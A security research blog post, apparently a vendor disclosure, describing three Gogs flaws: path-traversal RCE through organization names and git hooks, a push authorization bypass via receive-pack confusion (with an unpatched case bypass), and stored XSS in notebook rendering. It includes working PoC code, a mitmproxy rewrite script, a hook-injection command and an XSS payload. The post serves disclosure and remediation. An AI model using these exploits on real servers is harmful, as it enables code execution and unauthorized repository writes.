Gogs is an open-source Git hosting platform like GitHub or GitLab. The application allows users to manage their own repositories and organizations. Under the hood, it relies heavily on the git CLI.
There has been a long history of RCE's in Gogs, most taking a while to fix, requiring public disclosure before an officially patched version is even out. This case was different. After a few months of silence, it seems work has started again on securing Gogs by the maintainers, and all our reports were fixed as of version 0.14.3! We hope this trend continues and eventually brings Gogs into a secure state. However, there is currently still one unpatched bypass of a vulnerability we reported that our AI pentest agents found. We provide a manual code patch for that below.
This post will primarily focus on the Remote Code Execution vulnerability (CVE-2026-52813), as it is the most technically interesting. But I’ll also explain a logic bug to write on read-only repositories (CVE-2026-52810), together with an XSS vulnerability in the Jupyter rendering library Gogs was using (GHSA-6vxv-wg6j-5qwp).
Let's jump right in!
Path traversal in organization name
We will start with how we discovered the vulnerability that was at the same time the most impactful and technically interesting: CVE-2026-52813 (GHSA-c39w-43gm-34h5).
With Aikido Attack, we do a lot of AI pentesting on open source projects, including Gogs. Here is part of a report we received from one of our pentesting agents:

It mentioned a path traversal in the organization username, only accessible when using the API, to write outside of the intended directory onto the rest of the filesystem.
Let's dig a little deeper into the root cause of what it found to understand the issue better. The most important part is this function in repox.go:
func UserPath(user string) string {
return filepath.Join(conf.Repository.Root, strings.ToLower(user))
}
It determines where on the filesystem each user's repositories are stored, and simply joins their username with the configured repositories root directory. Joining paths without sanitization is always scary because the operating system supports ../ sequences to traverse out of any directories, and so does this .Join() in Go.
Fortunately for Gogs, these usernames are sanitized during registration using the AlphaDashDot binding only allowing letters, numbers and -_. characters. This makes it impossible to register a user with ../ in their name:
type Register struct {
UserName string `binding:"Required;AlphaDashDot;MaxSize(35)"`
Email string `binding:"Required;Email;MaxSize(254)"`
Password string `binding:"Required;MaxSize(255)"`
Retype string
}
But users are not the only thing passing through UserPath(). Organizations are just as well, and when we look at its definition, we see no such sanitization for the UserName field:
type createOrgRequest struct {
UserName string `json:"username" binding:"Required"`
FullName string `json:"full_name"`
Description string `json:"description"`
Website string `json:"website"`
Location string `json:"location"`
}
It means we can create an organization named ../../../../../tmp/test to make UserPath() for it return /path/to/root/ + ../../../../../tmp/test = /tmp/test. Any repositories created inside the organization will then be written into this new directory outside the root.
Let's try it in practice:
s = requests.Session()
# Get API token
r = s.post(f"{HOST}/api/v1/users/{USERNAME}/tokens",
auth=(USERNAME, PASSWORD),
json={"name": secrets.token_hex(12)}
)
r.raise_for_status()
sha1 = r.json().get("sha1")
s.headers.update({"Authorization": f"token {sha1}"})
# Create organization via API
org_name = "../../../../../tmp/test"
r = s.post(f"{HOST}/api/v1/user/orgs",
json={
"username": org_name,
"full_name": "path-traversal",
}
)
print(r.json()) # {'id': 4, 'username': '../../../../../tmp/test', 'full_name': 'deep', 'avatar_url': 'https://gogs.local/img/avatar_default.png', 'description': '', 'website': '', 'location': ''}
Now that the organization is created, we can see a folder inside /tmp named test/:
$ ls -l /tmp
total 4
drwxr-xr-x 2 git git 4096 Jun 8 09:32 test
To fill it, we can now create a new repository under the malicious organization:
r = s.post(
f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos",
json={
"name": "repo1",
"description": "poc",
"private": False,
"auto_init": True,
"readme": "Default",
}
)
print(r.json()) # {'id': 1, 'owner': ..., 'name': 'repo1', 'full_name': '../../../../../tmp/test/repo1', 'description': 'poc', 'private': False, ...}
Success! Checking out the filesystem again, we find the repo1.git folder was created at our specified location:
$ ls -l /tmp/test/repo1.git
total 28
-rw-r--r-- 1 git git 23 Jun 8 09:41 HEAD
-rw-r--r-- 1 git git 66 Jun 8 09:41 config
-rw-r--r-- 1 git git 73 Jun 8 09:41 description
drwxr-xr-x 2 git git 4096 Jun 8 09:41 hooks
drwxr-xr-x 2 git git 4096 Jun 8 09:41 info
drwxr-xr-x 7 git git 4096 Jun 8 09:41 objects
drwxr-xr-x 4 git git 4096 Jun 8 09:41 refsThis proves we have some sort of path traversal working. While we initialized the repository with a README, it isn't visible here on the filesystem. That is because what's stored here is a bare repository. One with only the git metadata files, no "worktree". Gogs doesn't need the real files during its normal operations. It can get all the data from the compressed objects and structure in this bare repository.
Writing arbitrary files using the git repository's contents would be a very powerful primitive. It looks like we have a very weak path traversal where we can only create this specific git metadata structure…
One edge case is editing files in the Gogs UI. This would be awkward to do with purely git operations, so Gogs temporarily creates a real worktree locally at /data/gogs/data/tmp/local-r/ with an incremental ID (2):
$ find / -name README.md 2>/dev/null
/data/gogs/data/tmp/local-r/2/README.md
We finally found our created README.md file here. This path unfortunately does not contain our username anymore, so we cannot make our path traversal vulnerability write arbitrary files. We can:
- Write bare repositories (only Git metadata) anywhere via path traversal
- Create worktrees (with real files) only at a specific safe path
Is that enough to do damage in a default Gogs setup? Could we get RCE with just this limited file write?
RCE using git config in nested repos
This is where we manually took over the investigation, trying to escalate the agent's path traversal finding to full-on Remote Code Execution.
We're a bit limited in what this vulnerability can do. We can’t overwrite existing files at arbitrary locations, because we don't control the names of the files in the git metadata. We can only create such a bare repository at an arbitrary location.
As some background knowledge, Git has "Hooks" which are scripts configured in the .git/hooks folder that are run whenever certain Git operations happen. For example, pre-commit is run right before you make a commit. Or on the server-side update, which runs whenever a push is received from a client.
If an attacker is able to write to any of these hook paths, it is almost guaranteed to result in RCE, as the next Git operation will trigger the script to run. We'll target this to execute arbitrary system commands.
We know we can't overwrite a .git/hooks file of another repository with this path traversal. But thinking about it more, what if we do the inverse?
We can create a regular worktree, then place our bare repository inside it via the path traversal vulnerability. Then we can edit the bare repository's hooks/update file from the regular repository's worktree. When we then push to it, the hook triggers, and we have achieved RCE. Let's try it in practice.
First, create a simple repository with which we will edit files later. For now, it will only create a directory on the filesystem at /data/git/repositories/developer/editor.git (metadata), not yet at /data/gogs/data/tmp/local-r/1/ (worktree). We know that to create this worktree, we can simply add any file via the Gogs UI.

After doing so, the worktree is created at the ID of the repository (retrieved by /api/v1/repos/:owner/:repo).
$ ls -la /data/gogs/data/tmp/local-r/1
drwxr-xr-x 7 git git 4096 Jun 9 08:53 .git
-rw-r--r-- 1 git git 10 Jun 9 08:53 README.md
-rw------- 1 git git 5 Jun 9 08:53 dummy
The next step is to write our path traversal organization into this editable folder. We'll create one with the name ../../gogs/data/tmp/local-r/1 to land into the folder. Then create a repository under it.
org_name = "../../gogs/data/tmp/local-r/1"
r = s.post(f"{HOST}/api/v1/user/orgs", ...)
r = s.post(f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos", ...)After doing so, the created traversal repository shows up in the worktree:
$ ls -la
drwxr-xr-x 7 git git 4096 Jun 9 08:53 .git
-rw-r--r-- 1 git git 10 Jun 9 08:53 README.md
-rw------- 1 git git 5 Jun 9 08:53 dummy
drwxr-xr-x 6 git git 4096 Jun 9 11:45 traversal.git
$ cat traversal.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = trueIf we reload the developer/editor page on Gogs now, we don't see it yet, because the filesystem is not yet synchronized with the UI. To do so, we'll create another dummy file. Then it shows up, and we can even explore its files:

It looks like we can now simply edit the hooks/update file to be malicious, but when we try to, Gogs throws the following error in the frontend:
Failed to update/create file 'traversal.git/hooks/update' with error: internal server errorIn the backend logs, we see:
[ERROR] [...gs/internal/route/repo/editor.go:280 editFilePost()] Failed to update repo file: bad tree path "traversal.git/hooks/update"Unfortunately there's a check implemented to see if any path we edit contains .git/, and our traversal.git/hooks/update path sure does.
func (r *Repository) UpdateRepoFile(doer *User, opts UpdateRepoFileOptions) error {
// 🚨 SECURITY: Prevent uploading files into the ".git" directory.
if isRepositoryGitPath(opts.NewTreeName) {
return errors.Errorf("bad tree path %q", opts.NewTreeName)
}
...
}
func isRepositoryGitPath(path string) bool {
path = strings.ToLower(path)
return strings.HasSuffix(path, ".git") ||
strings.Contains(path, ".git/") ||
strings.Contains(path, `.git\`) ||
// Windows treats ".git." the same as ".git"
strings.HasSuffix(path, ".git.") ||
strings.Contains(path, ".git./") ||
strings.Contains(path, `.git.\`)
}
So the UI editor does not allow editing our nested repository. But what about a native Git push?
$ git clone https://gogs.local/developer/editor.git && cd editor
$ echo 'id>/tmp/pwned' >> traversal.git/hooks/update
$ git add .
$ git commit -m "update hook"
$ git push
Username for 'https://gogs.local': developer
Password for 'https://developer@gogs.local':
To https://gogs.local/developer/editor.git
8c7f89f..fe4cc1b master -> master
Works like a charm! The check is more relaxed in that the name of a path segment must be exactly equal to .git. We're lucky that the bare repo name is traversal.git and not .git, as the Git method still allows the name.
Upload another dummy file again to update the worktree, and we can see the updated file!

Now all that's left is pushing to the bare repo. We need to do this on the repository under the ../../ organization, which is a bit awkward in the UI. But via the API we can simply URL-encode the path and access it fine. We will trigger another file upload so it internally makes a commit in a 2nd worktree and then pushes that to the bare repository (both on the same filesystem, this is how Git works, and how Gogs internally handles its repos).
r = s.put(
f"{HOST}/api/v1/repos/{org_enc}/traversal/contents/dummy4",
json={
"message": "trigger update hook",
"content": base64.b64encode(b"dummy4").decode(),
"branch": "master",
}
)
print(r.json()) # {'commit': {'url': 'http://4.245.3.4:13000/api/v1/repos/../../gogs/data/tmp/local-r/1/traversal/contents/dummy4', ...}, ...}
After this commit to the traversal repo, it is pushed to /data/gogs/data/tmp/local-r/1/traversal.git, which triggers traversal.git/hooks/update. We've overridden it to execute id > /tmp/pwned afterward, and when we check this path, sure enough we find the output of id:
$ cat /tmp/pwned
uid=1000(git) gid=101(git) groups=101(git)
We've successfully achieved Remote Code Execution on Gogs as the git user!
Push authorization bypass using receive-pack confusion
Back to a whole different kind of vulnerability: CVE-2026-52810 (GHSA-wmfg-5p4h-5fw3). Instead of complicated injections, this is a simple logic bug, but one that's hard to find manually. It all happens inside the low-level Git HTTP protocol, which Gogs implements for things like git push to a repo.
In the "Smart" protocol, there are two services: git-upload-pack (ask server to upload to you = pull) and git-receive-pack (server receives new data from you = push).
These two operations have different permissions associated with them. You should only be able to push if you have Write permission, but for a simple pull, Read is enough. Gogs implements this in a sort of middleware for all Git HTTP logic:
func HTTPContexter(store Store) macaron.Handler {
...
isPull := c.Query("service") == "git-upload-pack" ||
strings.HasSuffix(c.Req.URL.Path, "git-upload-pack") ||
c.Req.Method == "GET"
...
mode := database.AccessModeWrite
if isPull {
mode = database.AccessModeRead
}
The request is treated as a pull (read) if either the service query parameter or the final path is git-upload-pack.
Gogs then defines handlers for the specific actions:
{lazyregexp.New("(.*?)/git-upload-pack$"), "POST", serviceUploadPack},
{lazyregexp.New("(.*?)/git-receive-pack$"), "POST", serviceReceivePack},
Notably, there is no mention of a service query parameter here. After validating authorization with a simple string check on the path, it parses the path again using the above RegExes. This can easily lead to differences where the authorization sees it as a Read request, while the matched handler is a Write endpoint.
The service query parameter was intended for /refs/info, but enabled globally for authorization. This means we can request a path of /git-receive-pack with an ignored parameter of service=git-upload-pack. Gogs will get confused and think because of the parameter, this must be a read request. But when it gets to the handler, the write endpoint is hit!
Actually exploiting this sounds a little tricky, because the protocol for pushing commits is very custom by Git. But we can simply make a small proxy that rewrites /git-receive-pack to /git-receive-pack?service=git-upload-pack to bypass the check:
from urllib.parse import parse_qsl, urlencode, urlsplit, urlunsplit
from mitmproxy import ctx, http
def request(flow: http.HTTPFlow) -> None:
u = urlsplit(flow.request.pretty_url)
if not u.path.endswith("/git-receive-pack"):
return
params = parse_qsl(u.query, keep_blank_values=True)
params.append(("service", "git-upload-pack"))
query = urlencode(params)
flow.request.url = urlunsplit((u.scheme, u.netloc, u.path, query, ""))
ctx.log.info(f"[poc] rewrite receive-pack -> {u.path}?{query}")
This script is usable with mitmproxy. After running it, we can set the http_proxy and https_proxy environment variables in another terminal before performing git commands. Git will proxy all its network calls through our script, which rewrites the /git-receive-pack to append the service=git-upload-pack query parameter.
Let's try creating a repo on one account, then cloning it and pushing with the proxy active:
$ mitmdump -s mitmproxy_addon.py -p 1337
$ export http_proxy=http://127.0.0.1:1337
$ export https_proxy=http://127.0.0.1:1337
$ git clone https://gogs.local/victim/target.git && cd target
$ echo POC > poc
$ git add .
$ git commit -m poc
$ git push
error: RPC failed; HTTP 500 curl 22 The requested URL returned error: 500
send-pack: unexpected disconnect while reading sideband packet
fatal: the remote end hung up unexpectedly
500? Checking the backend logs, we hit a nil pointer dereference?!
[Macaron] PANIC: runtime error: invalid memory address or nil pointer dereference
runtime/panic.go:336 (0x492697)
runtime/signal_unix.go:931 (0x492665)
gogs.io/gogs/internal/database/repo_editor.go:67 (0x1286642)
gogs.io/gogs/internal/route/repo/http.go:257 (0x142e5e5)
gogs.io/gogs/internal/route/repo/http.go:282 (0x142ed44)
gogs.io/gogs/internal/route/repo/http.go:425 (0x142fbae)
nil in Go is just its version of null. If you try to read a property of some object that is nil, you get a "nil pointer dereference". If we trace the code at internal/database/repo_editor.go:67, we see:
EnvAuthUserID + "=" + strconv.FormatInt(opts.AuthUser.ID, 10),
It looks like our AuthUser wasn't set. Further up the call chain, we're supposed to be getting it from the end of HTTPContexter():
func HTTPContexter(store Store) macaron.Handler {
...
c.Map(&HTTPContext{
Context: c,
OwnerName: ownerName,
OwnerSalt: owner.Salt,
RepoID: repo.ID,
RepoName: repoName,
AuthUser: authUser,
})
But because of our bypass, isPull is true, and this early return is hit first:
func HTTPContexter(store Store) macaron.Handler {
...
// Authentication is not required for pulling from public repositories.
if isPull && !repo.IsPrivate && !conf.Auth.RequireSigninView {
c.Map(&HTTPContext{
Context: c,
})
return
}
Because of that, AuthUser is not set, and when it tries to be used by receive-pack, it crashes. Luckily, we see a few easy ways to circumvent this right in the source code:
- If
repo.IsPrivate, the condition is skipped - If
conf.Auth.RequireSigninViewis enabled, the condition is skipped
So the exploit only works for repositories that are not publicly readable. If the global RequireSigninView configuration is set the whole instance is vulnerable. For ease of testing, we'll just create a private repository and invite the attacker as a read-only collaborator:

Re-trying the PoC, we see the attacker is now able to successfully write to the repository:
$ git push
Username for 'https://gogs.local': attacker
Password for 'https://developer@gogs.local':
...
Writing objects: 100% (3/3), 507 bytes | 507.00 KiB/s, done.
Total 3 (delta 1), reused 0 (delta 0), pack-reused 0
To https://gogs.local/victim/target.git
62ef1eb..cb13c59 master -> master
The change also reflects in the UI:

With this vulnerability, an attacker can write to any repository for which you have to be signed in to read. If connected to CICD, it could trigger malicious deployments and otherwise hide malware in general.
Unpatched
This vulnerability was addressed in #8331 by validating which routes are for receiving vs. uploading. However, this fix is incomplete because the check for /git-receive-pack does not match /git-RECEIVE-pack (uppercase), while the router later is case-insensitive. We have reported the bypass to the maintainer but have yet to receive a reply at the time of publishing this post.
Apply the following source code patch and rebuild Gogs to remediate this vulnerability:
--- a/internal/route/repo/http.go
+++ b/internal/route/repo/http.go
@@ -62,8 +62,10 @@ func gitHTTPActionFromPath(urlPath, subpath, owner, repo string) string {
}
func gitHTTPIsPull(c *macaron.Context, action string) bool {
+ action = strings.ToLower(action)
if action == "info/refs" {
- return c.Query("service") != "git-receive-pack"
+ return !strings.EqualFold(c.Query("service"), "git-receive-pack")
}
return action != "git-receive-pack"
}
Stored XSS in .ipynb files
Lastly, this was a simple exploit but with an interesting reason: GHSA-6vxv-wg6j-5qwp (no CVE yet). If you'd just read the code, you would think it should be properly sanitized!
Most Git UIs have custom display methods for some specific files, including Jupyter Notebooks (.ipynb files). These files are meant to be interactive input-output showcases of Python code with Markdown descriptions embedded within.

You may ask yourself, how are they rendering that?
The answer: A severely outdated version of notebookjs (0.4.2, latest being 0.8.0).
Pretty much always when you say Markdown, you say HTML. Raw HTML content is even part of the CommonMark Spec, so many renderers implement it without hesitation. The problem for Gogs is that untrusted input (any user's file content) flows into this renderer.
In the source code, it seems like some sanitization is happening on Gogs' side:
$.getJSON("/siteadmin/ipynb/raw/master/test.ipynb", null, function(notebook_json) {
var notebook = nb.parse(notebook_json);
var rendered = notebook.render();
$.ajax({
type: "POST",
url: '/-/api/sanitize_ipynb',
data: rendered.outerHTML,
processData: false,
contentType: false,
}).done(function(data) {
$("#ipython-notebook").append(data);
...
The backend uses bluemonday, a well-respected sanitization library to clean up the output of notebookjs before appending the data to the DOM. So a payload like <u>te<script>1</script>st</u> turns into <u>test</u>. This is safe.
However, we can notice a problem in the notebookjs library itself. During the transformation from Markdown to HTML for Markdown cells, it creates a temporary element and assigns .innerHTML to it:
var el = makeElement("div", ["cell", "markdown-cell"]);
el.innerHTML = nb.markdown(joinText(this.raw.source))
Even though it's not added to the DOM, the assignment itself to any temporary JavaScript variable is enough to trigger events on the element. For the <img> element, for example, its src= is already loaded and may fail, triggering onerror=. All right inside notebookjs itself.
For that reason, a payload like the following will work regardless of what Gogs does with the output:
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"<img src onerror=alert(origin)>"
]
}
],
"metadata": {},
"nbformat": 4,
"nbformat_minor": 2
}
Viewing the .ipynb file now triggers XSS while rendering:

The attacker can put such files all over the place, like in their own repositories, or in Pull Requests which render when clicking View file, or just sending any other user a link directly to their payload file.
Detection
To check if you are affected by the Remote Code Execution (CVE-2026-52813), see if your Gogs version is 0.14.2 or below. Aikido detects this version in your organization with a "critical" alert:

The push authorization bypass (CVE-2026-52810) has no officially fixed version. All versions are currently vulnerable. Aikido detects Gogs instances with a "high" alert:

Conclusion
As shared many times before, integrating Git in an application often remains an ambitious task to do safely. The system just brings so many pitfalls with it on the filesystem that attackers can abuse. Worse, the impact is often critical. That's why it is crucial to extensively test such applications by performing pentests.
If it takes a while to fix vulnerabilities after they are found, this leaves significant time where the application is known to be exploitable. In the age of AI, everyone is finding vulnerabilities. Developers are tasked with pushing fixes faster than before, so we need to get used to accelerating this part too with tools like Aikido Autofix.
Then, you can even validate fixes autonomously with AI Pentesting and continue shipping features and improvements that people actually want.
Currently, Gogs is not being actively maintained, so active vulnerabilities are likely. We recommend using a different self-hosted git solution for the time being, until the dust has settled.

